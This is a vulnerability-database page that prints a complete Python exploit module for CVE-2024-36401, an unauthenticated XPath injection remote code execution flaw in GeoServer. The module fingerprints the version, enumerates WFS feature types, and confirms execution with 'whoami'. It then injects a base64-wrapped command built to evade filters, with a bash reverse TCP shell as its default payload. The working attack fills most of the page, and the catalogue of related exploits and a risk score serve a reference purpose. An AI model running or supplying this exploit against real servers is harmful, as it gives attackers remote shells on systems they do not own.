GeoServer Unauthenticated RCE (CVE-2024-36401)
| Reporter | Title | Published | Views | Family All 87 |
|---|---|---|---|---|
| Geoserver Unauthenticated Remote Code Execution Exploit | 16 Jul 202400:00 | – | zdt | |
| Exploit for Code Injection in Geoserver | 1 Aug 202421:22 | – | githubexploit | |
| Exploit for Code Injection in Geoserver | 6 Jul 202401:10 | – | githubexploit | |
| Exploit for Code Injection in Geoserver | 5 Oct 202410:08 | – | githubexploit | |
| Exploit for Code Injection in Geoserver | 30 May 202609:44 | – | githubexploit | |
| Exploit for Code Injection in Geoserver | 4 Jul 202413:19 | – | githubexploit | |
| CVE-Web-Framework | 13 Aug 202611:38 | – | githubexploit | |
| Exploit for Code Injection in Geoserver | 5 Jul 202415:24 | – | githubexploit | |
| Exploit for Code Injection in Geoserver | 14 Oct 202415:57 | – | githubexploit | |
| Exploit for Code Injection in Geoserver | 22 Nov 202403:57 | – | githubexploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""GeoServer unauthenticated XPath injection RCE (CVE-2024-36401) — reverse CMD session."""
from __future__ import annotations
import base64
import re
import xml.etree.ElementTree as ET
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'GeoServer Unauthenticated RCE (CVE-2024-36401)',
'description': (
'Exploits CVE-2024-36401 XPath injection in GeoServer WFS GetPropertyValue. '
'Affected: < 2.23.6, 2.24.0–2.24.3, 2.25.0–2.25.1. '
'Blind RCE confirmed by HTTP 400 + ClassCastException.'
),
'author': ['Steve Ikeoka', 'Valentin Lobstein', 'KittySploit Team'],
'cve': ['CVE-2024-36401'],
'platform': Platform.MULTI,
'arch': [Arch.X86, Arch.X64],
'category': PayloadCategory.CMD,
'payload': {
'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
'platform': [Platform.UNIX, Platform.WINDOWS, Platform.MULTI],
'category': PayloadCategory.CMD,
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2024-36401',
'https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401',
'https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv',
],
'tags': [
'geoserver', 'osgeo', 'wfs', 'xpath', 'rce', 'unauth',
'kev', 'cve-2024-36401',
],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 4,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals', 'rce'],
'requires': {
'tech_hints_any': ['geoserver'],
'endpoint_pattern_any': ['/geoserver/wfs'],
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': 'WFS XPath exec()'},
{'capability': 'shell', 'from_detail': 'reverse CMD session'},
],
'suggested_followups': ['scanner/http/geoserver_cve_2024_36401_detect'],
},
},
}
port = OptPort(8080, 'GeoServer HTTP port', True)
ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
feature_type = OptString('', 'WFS feature type (auto-discovered if empty)', False, advanced=True)
shell = OptChoice(
'unix',
'Command wrapper for Runtime.exec',
False,
choices=['unix', 'windows'],
advanced=True,
)
def _geo_path(self, *parts: str) -> str:
base = (self.path or '/').rstrip('/')
suffix = '/'.join(p.strip('/') for p in parts if p)
if base:
return f'{base}/{suffix}'
return f'/{suffix}'
def _get_version(self) -> str | None:
r = self.http_request(
method='GET',
path=self._geo_path(
'geoserver', 'web', 'wicket', 'bookmarkable',
'org.geoserver.web.AboutGeoServerPage',
),
allow_redirects=True,
)
if not r or int(r.status_code or 0) != 200:
return None
body = r.text or ''
if 'GeoServer Version' not in body:
return None
match = re.search(r'<span[^>]*id=["\']version["\'][^>]*>([^<]+)</span>', body, re.I)
return match.group(1).strip() if match else None
def _version_vulnerable(self, version: str) -> bool:
parts = version.split('.')
if len(parts) < 2:
return False
try:
major, minor = int(parts[0]), int(parts[1])
patch = int(parts[2]) if len(parts) > 2 else 0
except ValueError:
return False
if major == 2 and minor == 25 and patch <= 1:
return True
if major == 2 and minor == 24 and patch <= 3:
return True
if major == 2 and minor == 23 and patch < 6:
return True
if major == 2 and minor < 23:
return True
return False
def _list_feature_types(self) -> list[str]:
r = self.http_request(
method='GET',
path=self._geo_path('geoserver', 'wfs'),
params={'request': 'ListStoredQueries', 'service': 'wfs'},
allow_redirects=False,
)
if not r or int(r.status_code or 0) != 200:
return []
body = r.text or ''
if 'ListStoredQueriesResponse' not in body:
return []
try:
root = ET.fromstring(body)
except ET.ParseError:
return []
types: list[str] = []
for elem in root.iter():
tag = elem.tag.split('}')[-1] if '}' in elem.tag else elem.tag
if tag == 'ReturnFeatureType' and elem.text:
types.append(elem.text.strip())
return types
def _wrap_command(self, cmd: str) -> str:
wrapper = str(self.shell or 'unix').strip().lower()
if wrapper == 'windows':
enc = base64.b64encode(f'cmd /C --% {cmd}'.encode('utf-16le')).decode()
return f'powershell.exe -e {enc}'
enc = base64.b64encode(cmd.encode()).decode()
return f'sh -c echo${{IFS}}{enc}|base64${{IFS}}-d|sh'
def _build_payload(self, cmd: str, feature_type: str) -> str:
wrapped = self._wrap_command(cmd).replace('"', '\\"')
return (
"<wfs:GetPropertyValue service='WFS' version='2.0.0' "
"xmlns:topp='http://www.openplans.org/topp' "
"xmlns:fes='http://www.opengis.net/fes/2.0' "
"xmlns:wfs='http://www.opengis.net/wfs/2.0'>"
f"<wfs:Query typeNames='{feature_type}'/>"
f'<wfs:valueReference>exec(java.lang.Runtime.getRuntime(), "{wrapped}")</wfs:valueReference>'
'</wfs:GetPropertyValue>'
)
def _execute(self, cmd: str, feature_type: str) -> bool:
r = self.http_request(
method='POST',
path=self._geo_path('geoserver', 'wfs'),
data=self._build_payload(cmd, feature_type),
headers={'Content-Type': 'application/xml'},
allow_redirects=False,
)
if not r:
return False
body = r.text or ''
return int(r.status_code or 0) == 400 and 'ClassCastException' in body
def _resolve_feature_type(self) -> str | None:
manual = str(self.feature_type or '').strip()
if manual:
return manual
for ft in self._list_feature_types():
if self._execute('whoami', ft):
print_success(f'Using feature type: {ft}')
return ft
return None
def check(self):
version = self._get_version()
if not version:
return {
'vulnerable': False,
'reason': 'GeoServer version page unreachable',
'confidence': 'low',
}
if not self._version_vulnerable(version):
return {
'vulnerable': False,
'reason': f'GeoServer {version} appears patched',
'confidence': 'high',
}
ft = self._resolve_feature_type()
if not ft:
return {
'vulnerable': False,
'reason': f'Version {version} in range but no exploitable feature type found',
'confidence': 'medium',
}
return {
'vulnerable': True,
'reason': f'GeoServer {version} XPath RCE via feature type {ft}',
'confidence': 'high',
}
def run(self):
payload_cmd = str(self.payload or '').strip()
if not payload_cmd:
print_error('Set a reverse CMD payload (e.g. payloads/singles/cmd/unix/bash_reverse_tcp)')
return False
print_status('CVE-2024-36401 — GeoServer WFS XPath RCE')
version = self._get_version()
if version:
print_info(f'Detected GeoServer {version}')
if not self._version_vulnerable(version):
print_error(f'GeoServer {version} is outside vulnerable ranges')
self.not_vulnerable()
return False
feature_type = self._resolve_feature_type()
if not feature_type:
print_error('No exploitable WFS feature type found')
self.not_vulnerable()
return False
print_status(f'Injecting payload via feature type {feature_type}...')
if not self._execute(payload_cmd, feature_type):
print_error('Payload dispatch failed (expected HTTP 400 + ClassCastException)')
self.not_vulnerable()
return False
print_success('Payload dispatched — check listener for session')
self.vulnerable()
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Sep 2026 06:36Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19.8
EPSS0.99813
SSVC